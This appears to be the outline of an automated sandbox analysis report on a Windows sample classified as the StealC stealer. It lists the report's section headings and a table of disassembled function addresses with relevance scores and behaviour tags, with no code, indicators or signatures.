Malware Configuration

Threatname: StealC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

Windows Analysis Report
file.exe

Function 00129BB0 Relevance: 65.0, APIs: 33, Strings: 4, Instructions: 212
libraryloaderCOMMON

Function 00114610 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Function 001162D0 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 191
networkfileCOMMON

Function 00127690 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106
memoryCOMMON

Function 00129F20 Relevance: 222.9, APIs: 112, Strings: 15, Instructions: 684
libraryloaderCOMMON

Function 001148D0 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 479
networkstringfileCOMMON

Function 00125760 Relevance: 24.9, APIs: 7, Strings: 7, Instructions: 383
sleepCOMMON

Function 001219F0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162
COMMON

Function 00126C90 Relevance: 9.1, APIs: 6, Instructions: 89
sleepCOMMON

Function 00111220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41
COMMON

Function 00126D93 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Function 00114800 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Function 00125440 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON